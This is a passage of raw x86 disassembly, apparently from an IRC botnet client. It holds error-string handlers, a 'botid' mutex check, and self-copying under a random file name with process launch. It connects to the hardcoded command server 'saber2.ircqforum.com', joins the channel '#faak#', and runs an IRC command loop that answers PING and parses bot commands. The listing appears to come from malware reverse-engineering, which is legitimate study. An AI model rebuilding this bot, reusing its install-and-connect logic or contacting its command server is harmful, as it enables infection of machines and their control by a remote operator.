loc_40E562 cmp eax, 7Bh ja short loc_40E52E jz short loc_40E524 cmp eax, 5 jz short loc_40E51A cmp eax, 8 jz short loc_40E510 cmp eax, 32h jz short loc_40E506 cmp eax, 35h jz short loc_40E4FC cmp eax, 57h jnz loc_40E5B8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E4B7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E4B7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E4B7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E51A: ; CODE XREF: sub_40E4B7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4B7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj sub eax, 7Ch jz short loc_40E55B sub eax, 7C8h jz short loc_40E554 dec eax jz short loc_40E54A dec eax jnz short loc_40E5B8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40E4B7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E554: ; CODE XREF: sub_40E4B7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: sub_40E4B7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E569: ; CODE XREF: sub_40E4B7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E5A2 jz short loc_40E59B sub eax, 8ADh jz short loc_40E5CD dec eax dec eax jz short loc_40E594 dec eax jz short loc_40E58D dec eax dec eax jnz short loc_40E5B8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E58D: ; CODE XREF: sub_40E4B7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: sub_40E4B7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E4B7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j sub eax, 8CAh jz short loc_40E5D4 sub eax, 17h jz short loc_40E5CD sub eax, 25h jz short loc_40E5C6 sub eax, 29h jz short loc_40E5BF loc_40E5B8: ; CODE XREF: sub_40E4B7+35j ; sub_40E4B7+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j ; sub_40E4B7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5D9: ; CODE XREF: sub_40E4B7+40j ; sub_40E4B7+4Aj ... push offset dword_443CD8 call sub_4172B0 pop ecx mov eax, offset dword_443CD8 pop ecx retn sub_40E4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4199B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 27A0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4199B9 lea eax, [ebp+var_718] push eax call sub_41999C add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43F678 test eax, eax jnz short loc_40E67B mov esi, offset dword_443AD4 push offset dword_42F568 push esi call sub_4172B0 pop ecx pop ecx jmp short loc_40E6A4 ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E4B7 pop ecx mov esi, offset dword_443AD4 push eax push offset dword_42F530 push esi call sub_4172B0 add esp, 14h loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej mov eax, esi pop esi leave retn sub_40E5EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6A9 proc near ; CODE XREF: ___:00419CADp var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = byte ptr -0E4h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_40D3A5 push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_424058 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_489C50, eax call esi push eax call sub_417302 pop ecx call sub_40981F push 2 call dword_43F714 push 7530h push offset aBotid ; "botid" push ebx push ebx nop call near ptr 27B02ADh push eax call near ptr 2640250h nop cmp eax, 102h jnz short loc_40E726 push 1 nop call near ptr 77E75CB5h loc_40E726: ; CODE XREF: sub_40E6A9+73j lea eax, [ebp+var_884] push eax push 202h call dword_43F5E0 cmp eax, ebx mov [ebp+var_8], eax jnz loc_40EB89 cmp [ebp+var_884], 2 jnz loc_40EB83 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_40EB83 mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax nop call near ptr 2600889h lea eax, [ebp+var_2EC] push esi push eax push ebx call near ptr 2710000h nop push eax nop call near ptr 2650000h lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_4192B8 add esp, 14h lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp+var_5F4] push esi push eax call sub_41782A lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_417880 add esp, 1Ch test eax, eax jnz loc_40E98C cmp dword_42F5BC, ebx mov esi, offset byte_42F678 jz short loc_40E824 push esi xor edi, edi call sub_417AB0 sub eax, 4 pop ecx jz short loc_40E824 loc_40E801: ; CODE XREF: sub_40E6A9+179j call sub_41730C push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42F678[edi], dl inc edi call sub_417AB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E801 loc_40E824: ; CODE XREF: sub_40E6A9+148j ; sub_40E6A9+156j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_1E8] push eax nop call near ptr 26802F9h cmp eax, 0FFFFFFFFh jz short loc_40E864 lea eax, [ebp+var_1E8] push 80h push eax nop call near ptr 2751167h loc_40E864: ; CODE XREF: sub_40E6A9+1A7j mov esi, dword_424160 lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] xor edi, edi push eax loc_40E87B: ; CODE XREF: sub_40E6A9+209j call esi test eax, eax jnz short loc_40E8B4 nop call near ptr 26402CBh cmp edi, ebx jnz short loc_40E8B4 cmp eax, 20h jz short loc_40E895 cmp eax, 5 jnz short loc_40E8B4 loc_40E895: ; CODE XREF: sub_40E6A9+1E5j push 1 pop edi push 3A98h call near ptr 2600833h nop lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E8B4: ; CODE XREF: sub_40E6A9+1D6j ; sub_40E6A9+1E0j ... lea eax, [ebp+var_1E8] push eax call sub_40AB7C pop ecx lea eax, [ebp+var_1E8] push 7 push eax call near ptr 2751167h nop push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_417330 push 44h lea eax, [ebp+var_64] pop esi push esi push ebx push eax call sub_417330 add esp, 18h mov [ebp+var_64], esi mov [ebp+var_58], offset byte_43C80C mov [ebp+var_34], bx push 1 pop esi mov [ebp+var_38], esi nop call near ptr 27A0D62h push eax push esi push 100000h call near ptr 2700AB6h nop lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_988] push offset dword_435144 push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax nop call near ptr 27404D9h test eax, eax jz short loc_40E98C push 0C8h nop call near ptr 2600833h push [ebp+var_1C] mov esi, dword_424078 call esi push [ebp+var_18] call esi call dword_43F5C8 push ebx nop call near ptr 77E75CB5h loc_40E98C: ; CODE XREF: sub_40E6A9+137j ; sub_40E6A9+2B9j cmp dword_48A030, 2 jle short loc_40E9D8 mov eax, dword_48A034 push dword ptr [eax+4] call sub_41781F pop ecx mov esi, eax push 0FFFFFFFFh push esi call near ptr 2640250h nop push esi call near ptr 2621910h nop mov eax, dword_48A034 cmp [eax+8], ebx jz short loc_40E9D8 push 7D0h call near ptr 2600833h nop mov eax, dword_48A034 push dword ptr [eax+8] nop call near ptr 27A0C7Ch loc_40E9D8: ; CODE XREF: sub_40E6A9+2EAj ; sub_40E6A9+314j cmp dword_42F5C0, ebx jz short loc_40E9F5 cmp dword_43F738, ebx jnz short loc_40E9F5 lea eax, [ebp+var_5F4] push eax call sub_40C1AE pop ecx loc_40E9F5: ; CODE XREF: sub_40E6A9+335j ; sub_40E6A9+33Dj lea eax, [ebp+var_E4] push offset dword_43511C push eax call sub_4172B0 push ebx lea eax, [ebp+var_E4] push ebx push eax call sub_416D5C lea eax, [ebp+var_E4] push eax call sub_40BF6D push 0B80h push ebx push offset dword_444340 call sub_417330 call sub_41730C push 7Fh push offset aSaber2_ircqfor ; "saber2.ircqforum.com" push offset dword_489C5C mov dword_489DD0, ebx call sub_418C10 mov eax, dword_42F5A0 push 3Fh mov edi, offset dword_489CDC push offset aFaak ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh mov esi, offset dword_489D1C push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 48h mov dword_489DB0, ebx loc_40EA83: ; CODE XREF: sub_40E6A9+480j ; sub_40E6A9+48Bj ... mov [ebp+var_4], ebx loc_40EA86: ; CODE XREF: sub_40E6A9+434j cmp dword_43F750, ebx jnz short loc_40EAA4 lea eax, [ebp+var_20] push ebx push eax call dword_43F5AC test eax, eax jnz short loc_40EAA4 push 7530h jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAA4: ; CODE XREF: sub_40E6A9+3E3j ; sub_40E6A9+3F2j push offset dword_489C58 mov dword_489DCC, ebx call sub_40EB92 cmp eax, 2 mov [ebp+var_8], eax jz loc_40EB7E cmp dword_489DCC, ebx jz short loc_40EACB dec [ebp+var_4] loc_40EACB: ; CODE XREF: sub_40E6A9+41Dj push 0BB8h loc_40EAD0: ; CODE XREF: sub_40E6A9+3F9j call near ptr 2600833h nop inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40EA86 cmp [ebp+var_8], 2 jz loc_40EB7E cmp [ebp+var_C], ebx jz short loc_40EB2E push 7Fh push offset aSaber2_ircqfor ; "saber2.ircqforum.com" push offset dword_489C5C call sub_418C10 mov eax, dword_42F5A0 push 3Fh push offset aFaak ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp+var_C], ebx jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB2E: ; CODE XREF: sub_40E6A9+443j cmp byte_42F654, bl jz loc_40EA83 push 7Fh push offset byte_42F654 push offset dword_489C5C call sub_418C10 mov eax, dword_42F5A4 push 3Fh push offset aFaak_0 ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp+var_C], 1 jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB7E: ; CODE XREF: sub_40E6A9+411j ; sub_40E6A9+43Aj call sub_416F25 loc_40EB83: ; CODE XREF: sub_40E6A9+A1j ; sub_40E6A9+B1j call dword_43F5C8 loc_40EB89: ; CODE XREF: sub_40E6A9+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40E6A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB92 proc near ; CODE XREF: sub_40E6A9+406p ; DATA XREF: sub_40EE72+3B0Eo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EBB7: ; CODE XREF: sub_40EB92+E6j ; sub_40EB92+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43F668 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ADCA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECE4 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417330 push 0 lea eax, [ebp+var_2C] push dword_489DC0 push dword_42F5CC push eax call sub_415D01 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4450D8 push edi push eax call sub_418C10 add esp, 28h push 6 push 1 push 2 call dword_43F6E8 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4450CC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_40EC7D push esi call dword_43F700 call sub_40ADF3 push 7D0h loc_40EC72: ; CODE XREF: sub_40EB92+146j call near ptr 2600833h nop jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40EC7D: ; CODE XREF: sub_40EB92+CDj lea eax, [ebp+var_18C] push eax push offset dword_435150 call sub_40BFE1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECFA add esp, 28h mov edi, eax push esi call dword_43F700 test edi, edi jz loc_40EBB7 cmp edi, 1 jnz short loc_40ECDA push 0DBBA0h jmp short loc_40EC72 ; --------------------------------------------------------------------------- loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj cmp edi, 2 jz short loc_40ECE8 jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj xor eax, eax jmp short loc_40ECF4 ; --------------------------------------------------------------------------- loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj push [ebp+var_34] call sub_417078 pop ecx push 2 pop eax loc_40ECF4: ; CODE XREF: sub_40EB92+154j pop edi pop esi leave retn 4 sub_40EB92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417B30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40ED18: ; CODE XREF: sub_40ECFA+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ED18 cmp byte_489DC8, bl jz short loc_40ED3F push offset byte_489DC8 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D633 add esp, 0Ch loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_40EDA9 push [ebp+arg_0] call dword_43F700 push 1388h call near ptr 2600833h nop loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j ; sub_40ECFA+153j xor eax, eax loc_40EDA4: ; CODE XREF: sub_40ECFA+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EDA9: ; CODE XREF: sub_40ECFA+92j ; sub_40ECFA+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43F680 test eax, eax jle short loc_40EDA2 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A868 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EDA9 lea edi, [ebp+var_A10] loc_40EDFA: ; CODE XREF: sub_40ECFA+165j push 1 pop esi loc_40EDFD: ; CODE XREF: sub_40ECFA+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EE72 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE40 push 7D0h nop call near ptr 2600833h jmp short loc_40EDFD ; --------------------------------------------------------------------------- loc_40EE40: ; CODE XREF: sub_40ECFA+137j cmp esi, 0FFFFFFFDh jz short loc_40EE6A cmp esi, 0FFFFFFFEh jz short loc_40EE66 cmp esi, 0FFFFFFFFh jz loc_40EDA2 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDFA jmp loc_40EDA9 ; --------------------------------------------------------------------------- loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej push 1 jmp short loc_40EE6C ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ECFA+149j push 2 loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej pop eax jmp loc_40EDA4 sub_40ECFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_417B30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_417330 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_418C10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F239 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_417330 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push offset asc_4387B4 ; " :" push eax call sub_417880 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 mov esi, offset asc_42A3B4 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_418B6E add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF45: ; CODE XREF: sub_40EE72+E7j push esi push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF45 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F239 cmp [ebp+var_90], ebx jz loc_40F239 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF93: ; CODE XREF: sub_40EE72+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EFBF cmp byte ptr [eax], 2Dh jnz short loc_40EFC7 cmp [eax+2], bl jnz short loc_40EFC7 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EFBF: ; CODE XREF: sub_40EE72+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF93 loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj ; sub_40EE72+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFD2 mov [ebp+var_8], edi loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFE0 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFE0: ; CODE XREF: sub_40EE72+166j cmp byte ptr [esi], 0Ah jz short loc_40F01A push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_418C10 lea eax, [ebp+var_D8] push offset asc_4387B0 ; "!" push eax call sub_418B6E add esp, 20h loc_40F01A: ; CODE XREF: sub_40EE72+171j push esi push offset aPing ; "PING" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F06B push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D633 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F10F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h jmp loc_40F10F ; --------------------------------------------------------------------------- loc_40F06B: ; CODE XREF: sub_40EE72+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a005 ; "005" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a302 ; "302" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F0D3 push offset a@ ; "@" push [ebp+var_88] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40F10F inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418C10 jmp short loc_40F10C ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE XREF: sub_40EE72+238j push esi push offset a433 ; "433" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F116 push ebx push dword_489DC0 push dword_42F5CC push [ebp+arg_10] call sub_415D01 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 